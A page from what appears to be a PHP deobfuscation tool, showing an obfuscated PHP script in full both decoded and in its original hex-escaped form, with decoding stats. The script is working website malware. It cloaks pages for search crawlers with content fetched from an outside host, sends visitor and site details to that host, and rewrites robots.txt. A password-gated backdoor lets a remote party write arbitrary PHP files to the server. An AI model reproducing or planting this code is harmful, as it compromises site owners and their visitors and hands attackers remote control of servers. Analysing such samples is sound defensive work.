Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Awx7e; p6ZEL: $htmcontent = trim(dageget($web)); goto sQG4G; KjhDU: $duri_tmp..
Decoded Output download
<?php
goto Awx7e; p6ZEL: $htmcontent = trim(dageget($web)); goto sQG4G; KjhDU: $duri_tmp = st_uri(); goto mr5V3; un3m7: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto vX3oj; E4siR: $lang = urlencode($lang); goto g3nzD; sh4h6: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto eSsDr; g3nzD: $urlshang = ''; goto un3m7; kcqkT: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto p6ZEL; AytFP: $host = $_SERVER["HTTP_HOST"]; goto hgVve; BNd41: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto AytFP; eSsDr: $goweb = $xmlname . ".arepinkm" . ".xyz"; goto BNd41; i1SDB: $xmlname = "amtg"; goto rua_f; rua_f: $http_web = "http"; goto LNA6_; mr5V3: if ($duri_tmp == '') { $duri_tmp = "/"; } goto Z9qD3; MuFXZ: @ignore_user_abort(1); goto i1SDB; jfMkE: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto fBQts; vX3oj: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto kcqkT; Z9qD3: $duri = urlencode($duri_tmp); goto sh4h6; sQG4G: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto keNlu; LNA6_: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto KjhDU; keNlu: function pingmap($url) { $url_arr = explode("
\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto hlpi3; Awx7e: @set_time_limit(3600); goto MuFXZ; hgVve: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto E4siR; hlpi3: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto jfMkE; fBQts:
//he008 ?>
Did this file decode correctly?
Original Code
<?php
goto Awx7e; p6ZEL: $htmcontent = trim(dageget($web)); goto sQG4G; KjhDU: $duri_tmp = st_uri(); goto mr5V3; un3m7: if (isset($_SERVER["\x48\x54\124\x50\137\122\105\x46\105\x52\105\122"])) { $urlshang = $_SERVER["\x48\x54\124\x50\137\x52\x45\x46\x45\122\105\x52"]; $urlshang = urlencode($urlshang); } goto vX3oj; E4siR: $lang = urlencode($lang); goto g3nzD; sh4h6: function st_uri() { if (isset($_SERVER["\x52\105\x51\125\105\123\x54\137\x55\122\111"])) { $duri = $_SERVER["\x52\x45\121\x55\105\x53\x54\x5f\x55\x52\111"]; } else { if (isset($_SERVER["\141\162\147\x76"])) { $duri = $_SERVER["\120\110\x50\137\123\x45\x4c\106"] . "\x3f" . $_SERVER["\x61\162\147\166"][0]; } else { $duri = $_SERVER["\x50\110\x50\137\123\105\x4c\x46"] . "\x3f" . $_SERVER["\121\x55\x45\x52\x59\137\123\124\122\x49\x4e\107"]; } } return $duri; } goto eSsDr; g3nzD: $urlshang = ''; goto un3m7; kcqkT: $web = $http_web . "\x3a\57\57" . $goweb . "\x2f\x69\x6e\144\x65\170\x6e\145\x77\56\x70\x68\160\77\x77\x65\142\x3d" . $host . "\x26\172\172\x3d" . sbot() . "\46\x75\x72\x69\75" . $duri . "\x26\x75\162\154\163\x68\x61\156\147\75" . $urlshang . "\46\150\164\164\160\75" . $http . "\x26\154\141\156\147\x3d" . $lang; goto p6ZEL; AytFP: $host = $_SERVER["\110\124\x54\120\137\x48\x4f\123\124"]; goto hgVve; BNd41: function is_htps() { if (isset($_SERVER["\x48\x54\124\120\123"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\110\x54\124\120\137\130\137\106\x4f\122\x57\x41\122\104\105\104\137\x50\122\x4f\124\x4f"]) && $_SERVER["\110\x54\124\120\x5f\130\137\106\x4f\x52\127\x41\x52\104\x45\104\x5f\120\122\x4f\124\117"] === "\150\x74\x74\160\163") { return true; } elseif (isset($_SERVER["\110\124\x54\120\137\106\x52\x4f\x4e\x54\137\105\116\104\137\110\x54\124\x50\x53"]) && strtolower($_SERVER["\110\124\124\x50\137\106\122\x4f\116\x54\x5f\105\x4e\104\137\110\x54\x54\120\x53"]) !== "\x6f\146\x66") { return true; } return false; } goto AytFP; eSsDr: $goweb = $xmlname . "\x2e\x61\162\145\160\x69\156\153\155" . "\56\170\x79\172"; goto BNd41; i1SDB: $xmlname = "\x61\155\x74\x67"; goto rua_f; rua_f: $http_web = "\150\x74\x74\160"; goto LNA6_; mr5V3: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto Z9qD3; MuFXZ: @ignore_user_abort(1); goto i1SDB; jfMkE: function dageget($url) { $file_contents = ''; if (function_exists("\x63\165\162\x6c\x5f\151\x6e\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto fBQts; vX3oj: if (@$_GET["\160\144"] != '') { $add_content = @$_GET["\155\x61\160\156\x61\155\145"]; $action = @$_GET["\x61\x63\x74\151\157\156"]; if (isset($_SERVER["\104\x4f\103\x55\115\105\x4e\x54\x5f\x52\x4f\x4f\124"])) { $path = $_SERVER["\x44\117\103\x55\x4d\105\x4e\124\x5f\x52\117\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\164"; } if ($action == "\x70\x75\164") { if (strstr($add_content, "\56\170\x6d\x6c")) { $map_path = $path . "\57\163\151\164\145\155\x61\160\56\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\x62\x6f\164\x73\x2e\164\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\x65\162\x2d\x61\x67\x65\156\164\72\x20\52\x41\154\x6c\x6f\x77\72\40\x2f"; } $sitmap_url = $http . "\x3a\57\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\x72\76\x73\x69\x74\x65\x6d\141\x70\x20\141\154\x72\145\x61\144\171\40\x61\x64\x64\145\x64\41\74\x62\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\x53\x69\x74\x65\x6d\141\160\72\40" . $sitmap_url)) { echo "\74\x62\162\x3e\157\153\74\142\x72\76"; } else { echo "\x3c\x62\x72\x3e\146\x69\154\x65\x20\x77\x72\x69\x74\x65\40\x66\141\x6c\x73\x65\x21\x3c\x62\x72\76"; } } } else { echo "\x3c\x62\x72\76\163\151\164\145\155\x61\x70\40\156\141\x6d\x65\40\146\x61\154\x73\145\41\74\x62\x72\x3e"; } if (strstr($add_content, "\56\x70" . "\150\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\57\x2f" . $goweb . "\57\x61\x2e\x70" . "\x68\160") || $b == "\70\x30\x38\67\63\x35\142\61\x37\143\70\71\64\x33\145\63\67\61\65\63\x38\x38\71\65\70\x64\143\62\x32\144\x38\67\x39\x61\x38\143\71\145\x61\x61") { $dstr = @$_GET["\x64\163\x74\162"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto kcqkT; Z9qD3: $duri = urlencode($duri_tmp); goto sh4h6; sQG4G: if (!strstr($htmcontent, "\156\x6f\x62\x6f\x74\x75\x73\145\x72\141\x67\x65\156\164")) { if (strstr($htmcontent, "\157\153\150\164\x6d\154\x67\145\164\143\x6f\x6e\164\145\x6e\164")) { @header("\103\x6f\156\x74\x65\156\x74\x2d\x74\171\x70\145\72\40\164\145\170\x74\x2f\150\x74\x6d\154\73\40\143\x68\x61\x72\163\x65\x74\75\x75\x74\x66\x2d\x38"); $htmcontent = str_replace("\x6f\153\x68\x74\155\154\x67\145\164\x63\157\156\164\145\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\x6b\170\x6d\x6c\x67\x65\164\143\x6f\156\x74\x65\x6e\x74")) { $htmcontent = str_replace("\157\x6b\x78\x6d\x6c\x67\145\x74\143\157\156\x74\x65\156\x74", '', $htmcontent); @header("\103\157\x6e\x74\145\x6e\x74\x2d\164\171\160\x65\72\x20\164\x65\170\164\57\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\x69\156\147\x78\155\154\147\145\164\x63\157\x6e\x74\145\x6e\164")) { $htmcontent = str_replace("\160\x69\156\x67\170\x6d\154\147\x65\x74\143\157\156\x74\145\x6e\164", '', $htmcontent); @header("\103\157\156\x74\145\156\164\x2d\164\171\x70\x65\72\x20\164\x65\x78\x74\x2f\x68\164\155\x6c\73\x20\x63\150\141\162\x73\x65\x74\75\165\x74\146\x2d\70"); echo pingmap($htmcontent); die; } } } } goto keNlu; LNA6_: if (is_htps()) { $http = "\x68\164\164\160\x73"; } else { $http = "\x68\164\x74\x70"; } goto KjhDU; keNlu: function pingmap($url) { $url_arr = explode("\15\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\x69\164\145\x6d\141\x70\40\116\157\164\151\146\151\x63\141\x74\151\157\156\x20\x52\x65\x63\x65\x69\x76\x65\144") !== false ? "\x70\x69\x6e\147\x6f\153" : "\x65\162\x72\157\162"; $return_str .= $pingUrl . "\x2d\x2d\40" . $ok . "\74\x62\162\76"; } return $return_str; } goto hlpi3; Awx7e: @set_time_limit(3600); goto MuFXZ; hgVve: $lang = @$_SERVER["\x48\x54\x54\x50\137\101\103\103\105\120\124\x5f\x4c\101\x4e\107\125\x41\x47\x45"]; goto E4siR; hlpi3: function sbot() { $uAgent = strtolower($_SERVER["\110\124\124\120\x5f\x55\123\x45\122\x5f\101\107\105\x4e\124"]); if (stristr($uAgent, "\147\157\x6f\x67\x6c\x65\x62\157\x74") || stristr($uAgent, "\x62\x69\x6e\x67") || stristr($uAgent, "\171\x61\x68\x6f\157") || stristr($uAgent, "\x67\157\x6f\147\154\145") || stristr($uAgent, "\x47\x6f\x6f\x67\x6c\145\142\157\164") || stristr($uAgent, "\x67\157\157\147\154\145\142\157\x74")) { return true; } else { return false; } } goto jfMkE; fBQts:
//he008 ?>
Function Calls
None |
Stats
MD5 | 53f6b899f269596d0a5420c3656d173d |
Eval Count | 0 |
Decode Time | 47 ms |